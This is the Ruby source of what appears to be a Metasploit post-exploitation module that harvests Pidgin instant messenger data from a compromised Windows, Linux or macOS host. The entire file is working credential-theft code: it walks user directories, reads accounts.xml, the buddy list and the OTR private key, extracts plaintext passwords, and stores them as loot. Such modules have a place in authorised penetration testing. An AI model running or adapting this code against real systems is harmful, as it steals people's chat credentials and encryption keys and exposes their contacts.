347 lines
8.5 KiB
Ruby
347 lines
8.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex'
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require 'rexml/document'
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require 'msf/core/post/file'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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def initialize(info={})
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super( update_info(info,
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'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
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'Description' => %q{
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This module will collect credentials from the Pidgin IM client if it is installed.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bannedit', # post port, added support for shell sessions
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'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
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],
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'Version' => '$Revision$',
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'Platform' => ['unix', 'bsd', 'linux', 'osx', 'windows'],
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'SessionTypes' => ['shell', 'meterpreter' ]
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))
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register_options(
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[
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OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
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# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
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], self.class)
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end
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# TODO add support for collecting logs
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def run
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case session.platform
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when /unix|linux|bsd/
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@platform = :unix
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paths = enum_users_unix
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when /osx/
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@platform = :osx
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paths = enum_users_unix
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when /win/
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@platform = :windows
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drive = session.fs.file.expand_path("%SystemDrive%")
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os = session.sys.config.sysinfo['OS']
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if os =~ /Windows 7|Vista|2008/
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@appdata = '\\AppData\\Roaming'
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@users = drive + '\\Users'
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else
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@appdata = '\\Application Data'
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@users = drive + '\\Documents and Settings'
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end
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if session.type != "meterpreter"
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print_error "Only meterpreter sessions are supported on windows hosts"
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return
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end
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paths = enum_users_windows
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else
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print_error "Unsupported platform #{session.platform}"
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return
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end
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if paths.empty?
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print_status("No users found with a .purple directory")
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return
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end
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get_pidgin_creds(paths)
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end
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def enum_users_unix
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if @platform == :osx
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home = "/Users/"
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else
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home = "/home/"
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end
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if got_root?
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userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
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userdirs << "/root\n"
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else
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userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
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if userdirs =~ /No such file/i
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return
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else
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print_status("Found Pidgin profile for: #{whoami}")
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return ["#{home}#{whoami}/.purple"]
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end
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end
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paths = Array.new
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userdirs.each_line do |dir|
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dir.chomp!
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next if dir == "." || dir == ".."
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dir = "#{home}#{dir}" if dir !~ /root/
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print_status("Checking for Pidgin profile in: #{dir}")
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stat = session.shell_command("ls #{dir}/.purple")
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next if stat =~ /No such file/i
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paths << "#{dir}/.purple"
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end
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return paths
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end
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def enum_users_windows
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paths = Array.new
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if got_root?
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session.fs.dir.foreach(@users) do |path|
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next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
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purpledir = "#{@users}\\#{path}#{@appdata}\\"
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dir = check_pidgin(purpledir)
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if dir
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paths << dir
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end
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end
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else
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print_status "We do not have SYSTEM checking #{whoami} account"
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# not root
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path = "#{@users}\\#{whoami}#{@appdata}"
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session.fs.dir.foreach(path) do |dir|
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if dir =~ /\.purple/
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paths << "#{path}\\#{dir}"
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end
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end
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end
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return paths
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end
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def check_pidgin(purpledir)
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print_status("Checking for Pidgin profile in: #{purpledir}")
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session.fs.dir.foreach(purpledir) do |dir|
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if dir =~ /\.purple/
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print_status("Found #{purpledir}#{dir}")
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return "#{purpledir}#{dir}"
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end
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end
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return nil
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end
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def get_pidgin_creds(paths)
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case paths
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when /#{@user}\\(.*)\\/
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sys_user = $1
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when /home\/(.*)\//
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sys_user = $1
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end
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data = ""
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credentials = Rex::Ui::Text::Table.new(
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'Header' => "Pidgin Credentials",
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'Indent' => 1,
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'Columns' =>
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[
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"System User",
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"Username",
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"Password",
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"Protocol",
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"Server",
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"Port"
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])
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buddylists = Rex::Ui::Text::Table.new(
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'Header' => "Pidgin Contact List",
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'Indent' => 1,
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'Columns' =>
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[
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"System User",
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"Buddy Name",
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"Alias",
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"Protocol",
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"Account"
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])
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paths.each do |path|
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print_status("Reading accounts.xml file from #{path}")
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if session.type == "shell"
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type = :shell
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data = session.shell_command("cat #{path}/accounts.xml")
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else
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type = :meterp
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accounts = session.fs.file.new("#{path}\\accounts.xml", "rb")
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until accounts.eof?
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data << accounts.read
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end
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end
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creds = parse_accounts(data)
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if datastore['CONTACTS']
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blist = ""
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case type
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when :shell
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blist = session.shell_command("cat #{path}/blist.xml")
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when :meterp
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buddyxml = session.fs.file.new("#{path}/blist.xml", "rb")
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until buddyxml.eof?
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blist << buddyxml.read
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end
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end
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buddies = parse_buddies(blist)
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end
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creds.each do |cred|
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credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
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end
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if buddies
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buddies.each do |buddy|
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buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
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end
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end
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#Grab otr.private_key
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otr_key = ""
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if session.type == "shell"
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otr_key = session.shell_command("cat #{path}/otr.private_key")
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else
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key_file = "#{path}/otr.private_key"
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otrkey = session.fs.file.stat(key_file) rescue nil
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if otrkey
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f = session.fs.file.new(key_file, "rb")
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until f.eof?
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otr_key << f.read
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end
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else
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otr_key = "No such file"
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end
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end
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if otr_key !~ /No such file/
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print_status("OTR Key: #{otr_key.to_s}")
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store_loot("otr.private_key", "text/plain", session, otr_key.to_s, "otr.private_key", "otr.private_key")
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end
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end
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if datastore['CONTACTS']
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store_loot("pidgin.contacts", "text/plain", session, buddylists.to_s, "pidgin_contactlists.txt", "Pidgin Contacts")
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end
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store_loot("pidgin.creds", "text/plain", session, credentials.to_s, "pidgin_credentials.txt", "Pidgin Credentials")
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end
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def parse_accounts(data)
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creds = []
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doc = REXML::Document.new(data).root
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doc.elements.each("account") do |sub|
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account = {}
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if sub.elements['password']
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account['password'] = sub.elements['password'].text
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else
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account['password'] = "<unknown>"
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end
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account['protocol'] = sub.elements['protocol'].text rescue "<unknown>"
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account['user'] = sub.elements['name'].text rescue "<unknown>"
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account['server'] = sub.elements['settings'].elements["setting[@name='server']"].text rescue "<unknown>"
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account['port'] = sub.elements['settings'].elements["setting[@name='port']"].text rescue "<unknown>"
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creds << account
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print_status("Collected the following credentials:")
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print_status(" Server: %s:%s" % [account['server'], account['port']])
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print_status(" Protocol: %s" % account['protocol'])
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print_status(" Username: %s" % account['user'])
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print_status(" Password: %s" % account['password'])
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print_line("")
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end
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return creds
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end
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def parse_buddies(data)
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buddies = []
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doc = REXML::Document.new(data).root
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doc.elements['blist'].elements.each('group') do |group|
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group.elements.each('contact') do |bcontact|
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contact = {}
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contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "<unknown>"
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contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "<unknown>"
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contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "<unknown>"
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if bcontact.elements['buddy'].elements['alias']
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contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
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else
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contact['alias'] = "<unknown>"
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end
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buddies << contact
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print_status("Collected the following contacts:")
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print_status(" Buddy Name: %s" % contact['name'])
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print_status(" Alias: %s" % contact['alias'])
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print_status(" Protocol: %s" % contact['protocol'])
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print_status(" Account: %s" % contact['account'])
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print_line("")
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end
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end
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return buddies
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end
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def got_root?
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case @platform
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when :windows
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if session.sys.config.getuid =~ /SYSTEM/
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return true
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else
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return false
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end
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else # unix, bsd, linux, osx
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ret = whoami
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if ret =~ /root/
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return true
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else
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return false
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end
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end
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end
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def whoami
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if @platform == :windows
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session.fs.file.expand_path("%USERNAME%")
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else
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session.shell_command("whoami").chomp
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end
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end
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end
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